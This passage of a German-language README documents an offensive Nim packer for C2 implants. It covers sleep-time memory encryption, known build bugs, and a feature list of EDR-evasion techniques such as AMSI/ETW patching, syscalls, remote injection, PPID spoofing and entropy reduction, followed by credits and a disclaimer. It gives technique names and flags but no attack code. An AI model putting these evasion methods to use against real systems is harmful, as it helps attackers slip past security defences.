### Memory encryption
Der Packer hat derzeit zwei Speicherverschlüsselungstechniken eingebaut. Es ist entweder `--fluctuate` für ShellcodeFluctuation oder `--sleepycrypt` für SleepyCrypt.
ShellcodeFluctuation kann derzeit nur für C2-Payloads verwendet werden, die Win32 Sleep verwenden, da es diese Funktion hookt. In diesem Fall wird nur der Shellcode jedes Mal im Stack verschlüsselt, wenn das Implant schläft.
SleepyCrypt verschlüsselt nicht nur den Shellcode, sondern den gesamten PE-Stack, also alle seine Abschnitte. Der Nachteil ist, dass die Verschlüsselung unabhängig von deinem Implant ist und zu einem festen Zeitwert stattfindet, z. B. 10 Sekunden Verschlüsselung und eine Sekunde Ausführungszeit. Dies kann bei einigen C2-Frameworks zu Problemen bei der Ausführung führen.
### Why is my MSF- or CobaltStrike or XxX still flagged?
Lies dies:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## Known Bugs
- Die Verwendung von `--hellsgate` auf Linux-Systemen mit einer neueren mingw-gcc-Version wird nicht kompilieren
- Kompiliere den Packer auf Linux/Debian mit `-d:noRES`, um Compiler-Fehler zu vermeiden
- `--syswhispers --jump` in Kombination mit `--peload` führt zu einem Absturz. Im Moment kann ich nur empfehlen, diese Option nicht zu verwenden, da ich keine Ahnung habe, woher dieser Nebeneffekt kommt
- `--obfuscate` kann ASM-Stubs nicht gut verarbeiten und kann daher keine Binärdateien mit `--hellsgate` oder `--syswhispers` kompilieren
- XP/WS2k3 funktioniert nur mit den Flags `--syswhispers --noAntidebug --noDInvoke`
- `--x86` / `--wow64` wird nicht mehr gewartet und ist derzeit mit der gebündelten (nicht-multilib) MinGW-w64-Toolchain defekt. Verwende x64-Builds.
- Neuere MinGW-w64-Linker (11+) standardmäßig auf eine hohe PE-Image-Basis, was `-static`-Links mit `relocation truncated to fit: R_X86_64_32S against .bss` bricht. Der Packer übergibt jetzt `-Wl,--image-base=0x10000` an den generierten Loader-Kompilierungsbefehl, um dies zu umgehen. Wenn du eigenständige Nim+static-Binärdateien mit diesem Stack erstellst, benötigst du möglicherweise dasselbe Flag.
## TO-DO
- [x] PELoader über Syscalls
- [x] Hellsgate-Unterstützung
- [X] Nur die benötigten Winim-Bibliotheken laden
- [x] Remote-Prozess-AMSI/ETW-Patching basierend auf [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] Syscalls für Remote-Patching verwenden
- [X] Die 'zu patchende' DLL (ntdll oder amsi.dll) vor dem Patchen remote in den entfernten Prozess laden (sonst nützt es uns nichts)
- [x] Hellsgate-Unterstützung für Remote-Shellcode-Injektion + PELoading
- [X] DLL-Ausgabe
- [X] DLL-Sideloading-Fähigkeiten
- [X] PowerShell-Ausgabe
- [X] C#-Ausgabe
- [X] Weitere Syscalls und/oder D/Invoke für Win32-Funktionen
- [X] Cobalt Strike-Integration - CNA
- [ ] Parameterübergabe z. B. durch Manipulation des PEB-Feldes (Commandline-Spoofing-ähnlich)
- [X] Parameterübergabe durch Patchen von API-Importfunktionen
- [X] Shellcode-Speicherverschlüsselung per Sleep-Hook [ShellcodeFluctuation-ähnlich](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] Aufruf der Windows-Funktionen 'GetConsoleWindow' und 'ShowWindow', nachdem der Prozess erstellt und die EDR-Hooks geladen wurden, und dann Ändern der Fensterattribute auf versteckt anstelle von GUI-Compile-Flags
- [X] Weitere Sleeps zwischen einigen potenziell kritischen Stubs
- [X] Benutzerdefinierten entfernten Prozess festlegen, der vor der Injektion erstellt wird (aktuell ist notepad hartcodiert)
- [X] PPID-Spoofing für neu erstellte Prozesse
- [X] BlockDLLs für neue Prozesse
- [X] Patchloser AMSI-Bypass (z. B. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] AMSI-Bypass über NtCreateSection-Hook (z. B. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] Weitere ETW-Patches für EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
- [X] Service-Binärdatei-Unterstützung, wie https://github.com/enthus1ast/nimWindowsService/
- [X] DLL-Hijacking-Schalter für DLLMain mit Prozessattach
- [X] x86-Casting-Fehler behoben
- [ ] Wow64-Unterstützung
- [X] `--pump` Null-Bytes dazwischen hinzugefügt wie https://gitlab.com/ORCA000/entropyfix (Muss getestet werden, kann Abstürze verursachen)
- [X] CPL-Ausgabedateien
- [ ] Option für Täuschungs-HTTP-Anfragen
- [X] Shellcode von einem Webserver herunterladen oder aus einer lokalen Datei lesen als Alternative zum Einbetten (Standard)
- [X] Weitere Compiler-Flags verwenden, um dynlib zu überschreiben, um Funktions-IoCs zu vermeiden und Größe zu reduzieren `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] Verwendung geklonter Handles anstelle von OpenProcess (Handlekatz-ähnlich) für Remote-Prozess-Injektion oder als alternative Handle-Elevation
- [X] Handle-Elevation
- [X] ThreadlessInject für Remote-Injektion hinzugefügt
- [ ] Callback-Ausführungsprimitiven für Remote-Injektion über einen Nim-Port von https://github.com/lem0nSec/CreateRemoteThreadPlus hinzufügen
- [X] Payloads als MAC- oder IP-Adressen speichern und den verschlüsselten Payload zur Laufzeit abrufen, um die Entropie zu verringern
- [X] Mehrere Jumps für verschiedene Regionen in der Thread-Startadresse hinzugefügt (DripLoader-ähnlich), um Speicherscan-Erkennungen zu vermeiden (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## CREDITS
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Sleep-Funktion + Remote-Prozess-Bibliotheksmodul + hartcodierte Argumente erster Code
- [X] [@chvancooten](https://twitter.com/chvancooten) - Benutzerdefiniertes Strenc + Inspiration von seinem Nim-Packer
- [X] [@lefayjey](https://github.com/lefayjey) - DLL-Ausgabe + CNA-Script-Beitrag
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - Inspiration
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - 1-Byte-AMSI/ETW-Patch + Sandbox-Evasion-Ideen
- [X] [glynx](https://github.com/glynx) - Nim-RunPE hartcodierte Argumente Pull-Request
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, Docker-Datei
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Stomb+Threadless-Injektionsidee
- [X] [DrDv](https://github.com/DrorDvash) - CommandLine-Generator
## Legal disclaimer:
Die Verwendung von NimSyscallPacker zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und Bundesgesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden. Nur für Bildungszwecke verwenden.